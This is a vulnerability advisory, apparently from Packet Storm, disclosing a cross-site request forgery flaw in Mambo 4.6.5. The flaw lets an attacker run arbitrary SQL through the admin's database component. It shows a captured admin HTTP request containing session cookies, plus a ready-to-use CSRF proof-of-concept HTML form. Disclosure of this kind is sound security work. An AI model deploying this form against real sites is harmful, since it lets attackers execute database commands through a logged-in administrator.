Mambo version 4.6.5 suffers from a cross site request forgery vulnerability that allows for remote SQL injection.
04bf9a99d0420b97a030af4f2b626076b0e55a0fa14e06697a069a826e3585ce# Affected software: Mambo
# Type of vulnerability: csrf to sql injection
# URL: http://source.mambo-foundation.org/
# Discovered by: Provensec
# Website: http://www.provensec.com
#version 4.6.5
# Proof of concept
no csrf token were used on sql query form so attacker can leverage csrf to
execute sql query on admin end
screenshot
http://prntscr.com/6gk265
POST /mambo/administrator/index2.php HTTP/1.1
Host: demo.opensourcecms.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101
Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://demo.opensourcecms.com/mambo/administrator/index2.php
Cookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5;
__utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/;
__gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ;
__utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4;
__utmb=87180614.1.10.1426317586; __utmt=1;
25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3;
mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3;
mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
sql=select&option=com_mostlydbadmin&task=xquery
vulnerable paramter sql
poc
<html>
<body>
<form action="
http://demo.opensourcecms.com/mambo/administrator/index2.php" method="POST">
<input type="hidden" name="sql" value="sql statement to execute " />
<input type="hidden" name="option" value="com_mostlydbadmin" />
<input type="hidden" name="task" value="xquery" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed